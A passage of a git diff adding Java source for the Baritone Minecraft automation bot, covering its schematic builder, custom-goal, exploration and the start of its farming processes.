return onTick(calcFailed, isSafeToCancel, recursions + 1); + } + logDirect("Unable to do it. Pausing. resume to resume, cancel to cancel"); + paused = true; + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + } + return new PathingCommandContext(goal, PathingCommandType.FORCE_REVALIDATE_GOAL_AND_PATH, bcc); + } + + private boolean recalc(BuilderCalculationContext bcc) { + if (incorrectPositions == null) { + incorrectPositions = new HashSet<>(); + fullRecalc(bcc); + if (incorrectPositions.isEmpty()) { + return false; + } + } + recalcNearby(bcc); + if (incorrectPositions.isEmpty()) { + fullRecalc(bcc); + } + return !incorrectPositions.isEmpty(); + } + + private void trim() { + HashSet copy = new HashSet<>(incorrectPositions); + copy.removeIf(pos -> pos.distanceSq(ctx.player().getPosition()) > 200); + if (!copy.isEmpty()) { + incorrectPositions = copy; + } + } + + private void recalcNearby(BuilderCalculationContext bcc) { + BetterBlockPos center = ctx.playerFeet(); + int radius = Baritone.settings().builderTickScanRadius.value; + for (int dx = -radius; dx <= radius; dx++) { + for (int dy = -radius; dy <= radius; dy++) { + for (int dz = -radius; dz <= radius; dz++) { + int x = center.x + dx; + int y = center.y + dy; + int z = center.z + dz; + BlockState desired = bcc.getSchematic(x, y, z, bcc.bsi.get0(x, y, z)); + if (desired != null) { + // we care about this position + BetterBlockPos pos = new BetterBlockPos(x, y, z); + if (valid(bcc.bsi.get0(x, y, z), desired, false)) { + incorrectPositions.remove(pos); + observedCompleted.add(BetterBlockPos.longHash(pos)); + } else { + incorrectPositions.add(pos); + observedCompleted.remove(BetterBlockPos.longHash(pos)); + } + } + } + } + } + } + + private void fullRecalc(BuilderCalculationContext bcc) { + incorrectPositions = new HashSet<>(); + for (int y = 0; y < schematic.heightY(); y++) { + for (int z = 0; z < schematic.lengthZ(); z++) { + for (int x = 0; x < schematic.widthX(); x++) { + int blockX = x + origin.getX(); + int blockY = y + origin.getY(); + int blockZ = z + origin.getZ(); + BlockState current = bcc.bsi.get0(blockX, blockY, blockZ); + if (!schematic.inSchematic(x, y, z, current)) { + continue; + } + if (bcc.bsi.worldContainsLoadedChunk(blockX, blockZ)) { // check if its in render distance, not if its in cache + // we can directly observe this block, it is in render distance + if (valid(bcc.bsi.get0(blockX, blockY, blockZ), schematic.desiredState(x, y, z, current, this.approxPlaceable), false)) { + observedCompleted.add(BetterBlockPos.longHash(blockX, blockY, blockZ)); + } else { + incorrectPositions.add(new BetterBlockPos(blockX, blockY, blockZ)); + observedCompleted.remove(BetterBlockPos.longHash(blockX, blockY, blockZ)); + if (incorrectPositions.size() > Baritone.settings().incorrectSize.value) { + return; + } + } + continue; + } + // this is not in render distance + if (!observedCompleted.contains(BetterBlockPos.longHash(blockX, blockY, blockZ)) + && !Baritone.settings().buildSkipBlocks.value.contains(schematic.desiredState(x, y, z, current, this.approxPlaceable).getBlock())) { + // and we've never seen this position be correct + // therefore mark as incorrect + incorrectPositions.add(new BetterBlockPos(blockX, blockY, blockZ)); + if (incorrectPositions.size() > Baritone.settings().incorrectSize.value) { + return; + } + } + } + } + } + } + + private Goal assemble(BuilderCalculationContext bcc, List approxPlaceable) { + return assemble(bcc, approxPlaceable, false); + } + + private Goal assemble(BuilderCalculationContext bcc, List approxPlaceable, boolean logMissing) { + List placeable = new ArrayList<>(); + List breakable = new ArrayList<>(); + List sourceLiquids = new ArrayList<>(); + List flowingLiquids = new ArrayList<>(); + Map missing = new HashMap<>(); + incorrectPositions.forEach(pos -> { + BlockState state = bcc.bsi.get0(pos); + if (state.getBlock() instanceof AirBlock) { + if (containsBlockState(approxPlaceable, bcc.getSchematic(pos.x, pos.y, pos.z, state))) { + placeable.add(pos); + } else { + BlockState desired = bcc.getSchematic(pos.x, pos.y, pos.z, state); + missing.put(desired, 1 + missing.getOrDefault(desired, 0)); + } + } else { + if (state.getBlock() instanceof FlowingFluidBlock) { + // if the block itself is JUST a liquid (i.e. not just a waterlogged block), we CANNOT break it + // TODO for 1.13 make sure that this only matches pure water, not waterlogged blocks + if (!MovementHelper.possiblyFlowing(state)) { + // if it's a source block then we want to replace it with a throwaway + sourceLiquids.add(pos); + } else { + flowingLiquids.add(pos); + } + } else { + breakable.add(pos); + } + } + }); + List toBreak = new ArrayList<>(); + breakable.forEach(pos -> toBreak.add(breakGoal(pos, bcc))); + List toPlace = new ArrayList<>(); + placeable.forEach(pos -> { + if (!placeable.contains(pos.down()) && !placeable.contains(pos.down(2))) { + toPlace.add(placementGoal(pos, bcc)); + } + }); + sourceLiquids.forEach(pos -> toPlace.add(new GoalBlock(pos.up()))); + + if (!toPlace.isEmpty()) { + return new JankyGoalComposite(new GoalComposite(toPlace.toArray(new Goal[0])), new GoalComposite(toBreak.toArray(new Goal[0]))); + } + if (toBreak.isEmpty()) { + if (logMissing && !missing.isEmpty()) { + logDirect("Missing materials for at least:"); + logDirect(missing.entrySet().stream() + .map(e -> String.format("%sx %s", e.getValue(), e.getKey())) + .collect(Collectors.joining("\n"))); + } + if (logMissing && !flowingLiquids.isEmpty()) { + logDirect("Unreplaceable liquids at at least:"); + logDirect(flowingLiquids.stream() + .map(p -> String.format("%s %s %s", p.x, p.y, p.z)) + .collect(Collectors.joining("\n"))); + } + return null; + } + return new GoalComposite(toBreak.toArray(new Goal[0])); + } + + public static class JankyGoalComposite implements Goal { + + private final Goal primary; + private final Goal fallback; + + public JankyGoalComposite(Goal primary, Goal fallback) { + this.primary = primary; + this.fallback = fallback; + } + + + @Override + public boolean isInGoal(int x, int y, int z) { + return primary.isInGoal(x, y, z) || fallback.isInGoal(x, y, z); + } + + @Override + public double heuristic(int x, int y, int z) { + return primary.heuristic(x, y, z); + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + JankyGoalComposite goal = (JankyGoalComposite) o; + return Objects.equals(primary, goal.primary) + && Objects.equals(fallback, goal.fallback); + } + + @Override + public int hashCode() { + int hash = -1701079641; + hash = hash * 1196141026 + primary.hashCode(); + hash = hash * -80327868 + fallback.hashCode(); + return hash; + } + + @Override + public String toString() { + return "JankyComposite Primary: " + primary + " Fallback: " + fallback; + } + } + + public static class GoalBreak extends GoalGetToBlock { + + public GoalBreak(BlockPos pos) { + super(pos); + } + + @Override + public boolean isInGoal(int x, int y, int z) { + // can't stand right on top of a block, that might not work (what if it's unsupported, can't break then) + if (y > this.y) { + return false; + } + // but any other adjacent works for breaking, including inside or below + return super.isInGoal(x, y, z); + } + + @Override + public String toString() { + return String.format( + "GoalBreak{x=%s,y=%s,z=%s}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(y), + SettingsUtil.maybeCensor(z) + ); + } + + @Override + public int hashCode() { + return super.hashCode() * 1636324008; + } + } + + private Goal placementGoal(BlockPos pos, BuilderCalculationContext bcc) { + if (!(ctx.world().getBlockState(pos).getBlock() instanceof AirBlock)) { // TODO can this even happen? + return new GoalPlace(pos); + } + boolean allowSameLevel = !(ctx.world().getBlockState(pos.up()).getBlock() instanceof AirBlock); + BlockState current = ctx.world().getBlockState(pos); + for (Direction facing : Movement.HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP) { + //noinspection ConstantConditions + if (MovementHelper.canPlaceAgainst(ctx, pos.offset(facing)) && placementPlausible(pos, bcc.getSchematic(pos.getX(), pos.getY(), pos.getZ(), current))) { + return new GoalAdjacent(pos, pos.offset(facing), allowSameLevel); + } + } + return new GoalPlace(pos); + } + + private Goal breakGoal(BlockPos pos, BuilderCalculationContext bcc) { + if (Baritone.settings().goalBreakFromAbove.value && bcc.bsi.get0(pos.up()).getBlock() instanceof AirBlock && bcc.bsi.get0(pos.up(2)).getBlock() instanceof AirBlock) { // TODO maybe possible without the up(2) check? + return new JankyGoalComposite(new GoalBreak(pos), new GoalGetToBlock(pos.up()) { + @Override + public boolean isInGoal(int x, int y, int z) { + if (y > this.y || (x == this.x && y == this.y && z == this.z)) { + return false; + } + return super.isInGoal(x, y, z); + } + }); + } + return new GoalBreak(pos); + } + + public static class GoalAdjacent extends GoalGetToBlock { + + private boolean allowSameLevel; + private BlockPos no; + + public GoalAdjacent(BlockPos pos, BlockPos no, boolean allowSameLevel) { + super(pos); + this.no = no; + this.allowSameLevel = allowSameLevel; + } + + @Override + public boolean isInGoal(int x, int y, int z) { + if (x == this.x && y == this.y && z == this.z) { + return false; + } + if (x == no.getX() && y == no.getY() && z == no.getZ()) { + return false; + } + if (!allowSameLevel && y == this.y - 1) { + return false; + } + if (y < this.y - 1) { + return false; + } + return super.isInGoal(x, y, z); + } + + @Override + public double heuristic(int x, int y, int z) { + // prioritize lower y coordinates + return this.y * 100 + super.heuristic(x, y, z); + } + + @Override + public boolean equals(Object o) { + if (!super.equals(o)) { + return false; + } + + GoalAdjacent goal = (GoalAdjacent) o; + return allowSameLevel == goal.allowSameLevel + && Objects.equals(no, goal.no); + } + + @Override + public int hashCode() { + int hash = 806368046; + hash = hash * 1412661222 + super.hashCode(); + hash = hash * 1730799370 + (int) BetterBlockPos.longHash(no.getX(), no.getY(), no.getZ()); + hash = hash * 260592149 + (allowSameLevel ? -1314802005 : 1565710265); + return hash; + } + + @Override + public String toString() { + return String.format( + "GoalAdjacent{x=%s,y=%s,z=%s}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(y), + SettingsUtil.maybeCensor(z) + ); + } + } + + public static class GoalPlace extends GoalBlock { + + public GoalPlace(BlockPos placeAt) { + super(placeAt.up()); + } + + @Override + public double heuristic(int x, int y, int z) { + // prioritize lower y coordinates + return this.y * 100 + super.heuristic(x, y, z); + } + + @Override + public int hashCode() { + return super.hashCode() * 1910811835; + } + + @Override + public String toString() { + return String.format( + "GoalPlace{x=%s,y=%s,z=%s}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(y), + SettingsUtil.maybeCensor(z) + ); + } + } + + @Override + public void onLostControl() { + incorrectPositions = null; + name = null; + schematic = null; + realSchematic = null; + layer = Baritone.settings().startAtLayer.value; + numRepeats = 0; + paused = false; + observedCompleted = null; + } + + @Override + public String displayName0() { + return paused ? "Builder Paused" : "Building " + name; + } + + private List approxPlaceable(int size) { + List result = new ArrayList<>(); + for (int i = 0; i < size; i++) { + ItemStack stack = ctx.player().inventory.mainInventory.get(i); + if (stack.isEmpty() || !(stack.getItem() instanceof BlockItem)) { + result.add(Blocks.AIR.getDefaultState()); + continue; + } + // + BlockState itemState = ((BlockItem) stack.getItem()) + .getBlock() + .getStateForPlacement( + new BlockItemUseContext( + new ItemUseContext(ctx.world(), ctx.player(), Hand.MAIN_HAND, stack, new BlockRayTraceResult(new Vector3d(ctx.player().getPositionVec().x, ctx.player().getPositionVec().y, ctx.player().getPositionVec().z), Direction.UP, ctx.playerFeet(), false)) {} + ) + ); + if (itemState != null) { + result.add(itemState); + } else { + result.add(Blocks.AIR.getDefaultState()); + } + // + } + return result; + } + + public static final Set> orientationProps = + ImmutableSet.of(RotatedPillarBlock.AXIS, HorizontalBlock.HORIZONTAL_FACING, + StairsBlock.FACING, StairsBlock.HALF, StairsBlock.SHAPE, + PaneBlock.NORTH, PaneBlock.EAST, PaneBlock.SOUTH, PaneBlock.WEST, VineBlock.UP, + TrapDoorBlock.OPEN, TrapDoorBlock.HALF + ); + + private boolean sameBlockstate(BlockState first, BlockState second) { + if (first.getBlock() != second.getBlock()) { + return false; + } + boolean ignoreDirection = Baritone.settings().buildIgnoreDirection.value; + List ignoredProps = Baritone.settings().buildIgnoreProperties.value; + if (!ignoreDirection && ignoredProps.isEmpty()) { + return first.equals(second); // early return if no properties are being ignored + } + ImmutableMap, Comparable> map1 = first.getValues(); + ImmutableMap, Comparable> map2 = second.getValues(); + for (Property prop : map1.keySet()) { + if (map1.get(prop) != map2.get(prop) + && !(ignoreDirection && orientationProps.contains(prop)) + && !ignoredProps.contains(prop.getName())) { + return false; + } + } + return true; + } + + private boolean containsBlockState(Collection states, BlockState state) { + for (BlockState testee : states) { + if (sameBlockstate(testee, state)) { + return true; + } + } + return false; + } + + private boolean valid(BlockState current, BlockState desired, boolean itemVerify) { + if (desired == null) { + return true; + } + if (current.getBlock() instanceof FlowingFluidBlock && Baritone.settings().okIfWater.value) { + return true; + } + if (current.getBlock() instanceof AirBlock && desired.getBlock() instanceof AirBlock) { + return true; + } + if (current.getBlock() instanceof AirBlock && Baritone.settings().okIfAir.value.contains(desired.getBlock())) { + return true; + } + if (desired.getBlock() instanceof AirBlock && Baritone.settings().buildIgnoreBlocks.value.contains(current.getBlock())) { + return true; + } + if (!(current.getBlock() instanceof AirBlock) && Baritone.settings().buildIgnoreExisting.value && !itemVerify) { + return true; + } + if (Baritone.settings().buildSkipBlocks.value.contains(desired.getBlock()) && !itemVerify) { + return true; + } + if (Baritone.settings().buildValidSubstitutes.value.getOrDefault(desired.getBlock(), Collections.emptyList()).contains(current.getBlock()) && !itemVerify) { + return true; + } + if (current.equals(desired)) { + return true; + } + return sameBlockstate(current, desired); + } + + public class BuilderCalculationContext extends CalculationContext { + + private final List placeable; + private final ISchematic schematic; + private final int originX; + private final int originY; + private final int originZ; + + public BuilderCalculationContext() { + super(BuilderProcess.this.baritone, true); // wew lad + this.placeable = approxPlaceable(9); + this.schematic = BuilderProcess.this.schematic; + this.originX = origin.getX(); + this.originY = origin.getY(); + this.originZ = origin.getZ(); + + this.jumpPenalty += 10; + this.backtrackCostFavoringCoefficient = 1; + } + + private BlockState getSchematic(int x, int y, int z, BlockState current) { + if (schematic.inSchematic(x - originX, y - originY, z - originZ, current)) { + return schematic.desiredState(x - originX, y - originY, z - originZ, current, BuilderProcess.this.approxPlaceable); + } else { + return null; + } + } + + @Override + public double costOfPlacingAt(int x, int y, int z, BlockState current) { + if (isPossiblyProtected(x, y, z) || !worldBorder.canPlaceAt(x, z)) { // make calculation fail properly if we can't build + return COST_INF; + } + BlockState sch = getSchematic(x, y, z, current); + if (sch != null && !Baritone.settings().buildSkipBlocks.value.contains(sch.getBlock())) { + // TODO this can return true even when allowPlace is off.... is that an issue? + if (sch.getBlock() instanceof AirBlock) { + // we want this to be air, but they're asking if they can place here + // this won't be a schematic block, this will be a throwaway + return placeBlockCost * 2; // we're going to have to break it eventually + } + if (placeable.contains(sch)) { + return 0; // thats right we gonna make it FREE to place a block where it should go in a structure + // no place block penalty at all 😎 + // i'm such an idiot that i just tried to copy and paste the epic gamer moment emoji too + // get added to unicode when? + } + if (!hasThrowaway) { + return COST_INF; + } + // we want it to be something that we don't have + // even more of a pain to place something wrong + return placeBlockCost * 3; + } else { + if (hasThrowaway) { + return placeBlockCost; + } else { + return COST_INF; + } + } + } + + @Override + public double breakCostMultiplierAt(int x, int y, int z, BlockState current) { + if ((!allowBreak && !allowBreakAnyway.contains(current.getBlock())) || isPossiblyProtected(x, y, z)) { + return COST_INF; + } + BlockState sch = getSchematic(x, y, z, current); + if (sch != null && !Baritone.settings().buildSkipBlocks.value.contains(sch.getBlock())) { + if (sch.getBlock() instanceof AirBlock) { + // it should be air + // regardless of current contents, we can break it + return 1; + } + // it should be a real block + // is it already that block? + if (valid(bsi.get0(x, y, z), sch, false)) { + return Baritone.settings().breakCorrectBlockPenaltyMultiplier.value; + } else { + // can break if it's wrong + // would be great to return less than 1 here, but that would actually make the cost calculation messed up + // since we're breaking a block, if we underestimate the cost, then it'll fail when it really takes the correct amount of time + return 1; + + } + // TODO do blocks in render distace only? + // TODO allow breaking blocks that we have a tool to harvest and immediately place back? + } else { + return 1; // why not lol + } + } + } +} diff --git a/src/baritone/process/CustomGoalProcess.java b/src/baritone/process/CustomGoalProcess.java new file mode 100644 index 00000000..ea9ff209 --- /dev/null +++ b/src/baritone/process/CustomGoalProcess.java @@ -0,0 +1,124 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.process; + +import baritone.Baritone; +import baritone.api.pathing.goals.Goal; +import baritone.api.process.ICustomGoalProcess; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.utils.BaritoneProcessHelper; + +/** + * As set by ExampleBaritoneControl or something idk + * + * @author leijurv + */ +public final class CustomGoalProcess extends BaritoneProcessHelper implements ICustomGoalProcess { + + /** + * The current goal + */ + private Goal goal; + + /** + * The current process state. + * + * @see State + */ + private State state; + + public CustomGoalProcess(Baritone baritone) { + super(baritone); + } + + @Override + public void setGoal(Goal goal) { + this.goal = goal; + if (this.state == State.NONE) { + this.state = State.GOAL_SET; + } + if (this.state == State.EXECUTING) { + this.state = State.PATH_REQUESTED; + } + } + + @Override + public void path() { + this.state = State.PATH_REQUESTED; + } + + @Override + public Goal getGoal() { + return this.goal; + } + + @Override + public boolean isActive() { + return this.state != State.NONE; + } + + @Override + public PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel) { + switch (this.state) { + case GOAL_SET: + return new PathingCommand(this.goal, PathingCommandType.CANCEL_AND_SET_GOAL); + case PATH_REQUESTED: + // return FORCE_REVALIDATE_GOAL_AND_PATH just once + PathingCommand ret = new PathingCommand(this.goal, PathingCommandType.FORCE_REVALIDATE_GOAL_AND_PATH); + this.state = State.EXECUTING; + return ret; + case EXECUTING: + if (calcFailed) { + onLostControl(); + return new PathingCommand(this.goal, PathingCommandType.CANCEL_AND_SET_GOAL); + } + if (this.goal == null || (this.goal.isInGoal(ctx.playerFeet()) && this.goal.isInGoal(baritone.getPathingBehavior().pathStart()))) { + onLostControl(); // we're there xd + if (Baritone.settings().disconnectOnArrival.value) { + ctx.world().sendQuittingDisconnectingPacket(); + } + if (Baritone.settings().notificationOnPathComplete.value) { + logNotification("Pathing complete", false); + } + return new PathingCommand(this.goal, PathingCommandType.CANCEL_AND_SET_GOAL); + } + return new PathingCommand(this.goal, PathingCommandType.SET_GOAL_AND_PATH); + default: + throw new IllegalStateException(); + } + } + + @Override + public void onLostControl() { + this.state = State.NONE; + this.goal = null; + } + + @Override + public String displayName0() { + return "Custom Goal " + this.goal; + } + + protected enum State { + NONE, + GOAL_SET, + PATH_REQUESTED, + EXECUTING + } +} diff --git a/src/baritone/process/ExploreProcess.java b/src/baritone/process/ExploreProcess.java new file mode 100644 index 00000000..3664d418 --- /dev/null +++ b/src/baritone/process/ExploreProcess.java @@ -0,0 +1,300 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.process; + +import baritone.Baritone; +import baritone.api.cache.ICachedWorld; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalComposite; +import baritone.api.pathing.goals.GoalXZ; +import baritone.api.pathing.goals.GoalYLevel; +import baritone.api.process.IExploreProcess; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.api.utils.MyChunkPos; +import baritone.cache.CachedWorld; +import baritone.utils.BaritoneProcessHelper; +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import it.unimi.dsi.fastutil.longs.LongOpenHashSet; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.ChunkPos; + +import java.io.InputStreamReader; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.List; + +public final class ExploreProcess extends BaritoneProcessHelper implements IExploreProcess { + + private BlockPos explorationOrigin; + + private IChunkFilter filter; + + private int distanceCompleted; + + public ExploreProcess(Baritone baritone) { + super(baritone); + } + + @Override + public boolean isActive() { + return explorationOrigin != null; + } + + @Override + public void explore(int centerX, int centerZ) { + explorationOrigin = new BlockPos(centerX, 0, centerZ); + distanceCompleted = 0; + } + + @Override + public void applyJsonFilter(Path path, boolean invert) throws Exception { + filter = new JsonChunkFilter(path, invert); + } + + public IChunkFilter calcFilter() { + IChunkFilter filter; + if (this.filter != null) { + filter = new EitherChunk(this.filter, new BaritoneChunkCache()); + } else { + filter = new BaritoneChunkCache(); + } + return filter; + } + + @Override + public PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel) { + if (calcFailed) { + logDirect("Failed"); + if (Baritone.settings().notificationOnExploreFinished.value) { + logNotification("Exploration failed", true); + } + onLostControl(); + return null; + } + IChunkFilter filter = calcFilter(); + if (!Baritone.settings().disableCompletionCheck.value && filter.countRemain() == 0) { + logDirect("Explored all chunks"); + if (Baritone.settings().notificationOnExploreFinished.value) { + logNotification("Explored all chunks", false); + } + onLostControl(); + return null; + } + Goal[] closestUncached = closestUncachedChunks(explorationOrigin, filter); + if (closestUncached == null) { + logDebug("awaiting region load from disk"); + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + return new PathingCommand(new GoalComposite(closestUncached), PathingCommandType.FORCE_REVALIDATE_GOAL_AND_PATH); + } + + private Goal[] closestUncachedChunks(BlockPos center, IChunkFilter filter) { + int chunkX = center.getX() >> 4; + int chunkZ = center.getZ() >> 4; + int count = Math.min(filter.countRemain(), Baritone.settings().exploreChunkSetMinimumSize.value); + List centers = new ArrayList<>(); + int renderDistance = Baritone.settings().worldExploringChunkOffset.value; + for (int dist = distanceCompleted; ; dist++) { + for (int dx = -dist; dx <= dist; dx++) { + int zval = dist - Math.abs(dx); + for (int mult = 0; mult < 2; mult++) { + int dz = (mult * 2 - 1) * zval; // dz can be either -zval or zval + int trueDist = Math.abs(dx) + Math.abs(dz); + if (trueDist != dist) { + throw new IllegalStateException(); + } + switch (filter.isAlreadyExplored(chunkX + dx, chunkZ + dz)) { + case UNKNOWN: + return null; // awaiting load + case NOT_EXPLORED: + break; // note: this breaks the switch not the for + case EXPLORED: + continue; // note: this continues the for + default: + } + int centerX = ((chunkX + dx) << 4) + 8; + int centerZ = ((chunkZ + dz) << 4) + 8; + int offset = renderDistance << 4; + if (dx < 0) { + centerX -= offset; + } else { + centerX += offset; + } + if (dz < 0) { + centerZ -= offset; + } else { + centerZ += offset; + } + centers.add(new BlockPos(centerX, 0, centerZ)); + } + } + if (dist % 10 == 0) { + count = Math.min(filter.countRemain(), Baritone.settings().exploreChunkSetMinimumSize.value); + } + if (centers.size() >= count) { + return centers.stream().map(pos -> createGoal(pos.getX(), pos.getZ())).toArray(Goal[]::new); + } + if (centers.isEmpty()) { + // we have explored everything from 0 to dist inclusive + // next time we should start our check at dist+1 + distanceCompleted = dist + 1; + } + } + } + + private static Goal createGoal(int x, int z) { + if (Baritone.settings().exploreMaintainY.value == -1) { + return new GoalXZ(x, z); + } + // don't use a goalblock because we still want isInGoal to return true if X and Z are correct + // we just want to try and maintain Y on the way there, not necessarily end at that specific Y + return new GoalXZ(x, z) { + @Override + public double heuristic(int x, int y, int z) { + return super.heuristic(x, y, z) + GoalYLevel.calculate(Baritone.settings().exploreMaintainY.value, y); + } + }; + } + + private enum Status { + EXPLORED, NOT_EXPLORED, UNKNOWN; + } + + private interface IChunkFilter { + + Status isAlreadyExplored(int chunkX, int chunkZ); + + int countRemain(); + } + + private class BaritoneChunkCache implements IChunkFilter { + + private final ICachedWorld cache = baritone.getWorldProvider().getCurrentWorld().getCachedWorld(); + + @Override + public Status isAlreadyExplored(int chunkX, int chunkZ) { + int centerX = chunkX << 4; + int centerZ = chunkZ << 4; + if (cache.isCached(centerX, centerZ)) { + return Status.EXPLORED; + } + if (!((CachedWorld) cache).regionLoaded(centerX, centerZ)) { + Baritone.getExecutor().execute(() -> { + ((CachedWorld) cache).tryLoadFromDisk(centerX >> 9, centerZ >> 9); + }); + return Status.UNKNOWN; // we still need to load regions from disk in order to decide properly + } + return Status.NOT_EXPLORED; + } + + @Override + public int countRemain() { + return Integer.MAX_VALUE; + } + } + + private class JsonChunkFilter implements IChunkFilter { + + private final boolean invert; // if true, the list is interpreted as a list of chunks that are NOT explored, if false, the list is interpreted as a list of chunks that ARE explored + private final LongOpenHashSet inFilter; + private final MyChunkPos[] positions; + + private JsonChunkFilter(Path path, boolean invert) throws Exception { // ioexception, json exception, etc + this.invert = invert; + Gson gson = new GsonBuilder().create(); + positions = gson.fromJson(new InputStreamReader(Files.newInputStream(path)), MyChunkPos[].class); + logDirect("Loaded " + positions.length + " positions"); + inFilter = new LongOpenHashSet(); + for (MyChunkPos mcp : positions) { + inFilter.add(ChunkPos.asLong(mcp.x, mcp.z)); + } + } + + @Override + public Status isAlreadyExplored(int chunkX, int chunkZ) { + if (inFilter.contains(ChunkPos.asLong(chunkX, chunkZ)) ^ invert) { + // either it's on the list of explored chunks, or it's not on the list of unexplored chunks + // either way, we have it + return Status.EXPLORED; + } else { + // either it's not on the list of explored chunks, or it's on the list of unexplored chunks + // either way, it depends on if baritone has cached it so defer to that + return Status.UNKNOWN; + } + } + + @Override + public int countRemain() { + if (!invert) { + // if invert is false, anything not on the list is uncached + return Integer.MAX_VALUE; + } + // but if invert is true, anything not on the list IS assumed cached + // so we are done if everything on our list is cached! + int countRemain = 0; + BaritoneChunkCache bcc = new BaritoneChunkCache(); + for (MyChunkPos pos : positions) { + if (bcc.isAlreadyExplored(pos.x, pos.z) != Status.EXPLORED) { + // either waiting for it or dont have it at all + countRemain++; + if (countRemain >= Baritone.settings().exploreChunkSetMinimumSize.value) { + return countRemain; + } + } + } + return countRemain; + } + } + + private class EitherChunk implements IChunkFilter { + + private final IChunkFilter a; + private final IChunkFilter b; + + private EitherChunk(IChunkFilter a, IChunkFilter b) { + this.a = a; + this.b = b; + } + + @Override + public Status isAlreadyExplored(int chunkX, int chunkZ) { + if (a.isAlreadyExplored(chunkX, chunkZ) == Status.EXPLORED) { + return Status.EXPLORED; + } + return b.isAlreadyExplored(chunkX, chunkZ); + } + + @Override + public int countRemain() { + return Math.min(a.countRemain(), b.countRemain()); + } + } + + @Override + public void onLostControl() { + explorationOrigin = null; + } + + @Override + public String displayName0() { + return "Exploring around " + explorationOrigin + ", distance completed " + distanceCompleted + ", currently going to " + new GoalComposite(closestUncachedChunks(explorationOrigin, calcFilter())); + } +} diff --git a/src/baritone/process/FarmProcess.java b/src/baritone/process/FarmProcess.java new file mode 100644 index 00000000..592b2fec --- /dev/null +++ b/src/baritone/process/FarmProcess.java @@ -0,0 +1,364 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.process; + +import baritone.Baritone; +import baritone.api.BaritoneAPI; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalBlock; +import baritone.api.pathing.goals.GoalGetToBlock; +import baritone.api.pathing.goals.GoalComposite; +import baritone.api.process.IFarmProcess; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.api.utils.RayTraceUtils; +import baritone.api.utils.Rotation; +import baritone.api.utils.RotationUtils; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.MovementHelper; +import baritone.utils.BaritoneProcessHelper; +import net.minecraft.block.*; +import net.minecraft.entity.Entity; +import net.minecraft.entity.item.ItemEntity; +import net.minecraft.item.Item; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.util.Direction; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.util.math.RayTraceResult; +import net.minecraft.util.math.vector.Vector3d; +import net.minecraft.world.World; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Optional; +import java.util.function.Predicate; + +public final class FarmProcess extends BaritoneProcessHelper implements IFarmProcess { + + private boolean active; + + private List locations; + private int tickCount; + + private int range; + private BlockPos center; + + private static final List FARMLAND_PLANTABLE = Arrays.asList( + Items.BEETROOT_SEEDS, + Items.MELON_SEEDS, + Items.WHEAT_SEEDS, + Items.PUMPKIN_SEEDS, + Items.POTATO, + Items.CARROT + ); + + private static final List PICKUP_DROPPED = Arrays.asList( + Items.BEETROOT_SEEDS, + Items.BEETROOT, + Items.MELON_SEEDS, + Items.MELON_SLICE, + Blocks.MELON.asItem(), + Items.WHEAT_SEEDS, + Items.WHEAT, + Items.PUMPKIN_SEEDS, + Blocks.PUMPKIN.asItem(), + Items.POTATO, + Items.CARROT, + Items.NETHER_WART, + Items.COCOA_BEANS, + Blocks.SUGAR_CANE.asItem(), + Blocks.CACTUS.asItem() + ); + + public FarmProcess(Baritone baritone) { + super(baritone); + } + + @Override + public boolean isActive() { + return active; + } + + @Override + public void farm(int range, BlockPos pos) { + if (pos == null) { + center = baritone.getPlayerContext().playerFeet(); + } else { + center = pos; + } + this.range = range; + active = true; + locations = null; + } + + private enum Harvest { + WHEAT((CropsBlock) Blocks.WHEAT), + CARROTS((CropsBlock) Blocks.CARROTS), + POTATOES((CropsBlock) Blocks.POTATOES), + BEETROOT((CropsBlock) Blocks.BEETROOTS), + PUMPKIN(Blocks.PUMPKIN, state -> true), + 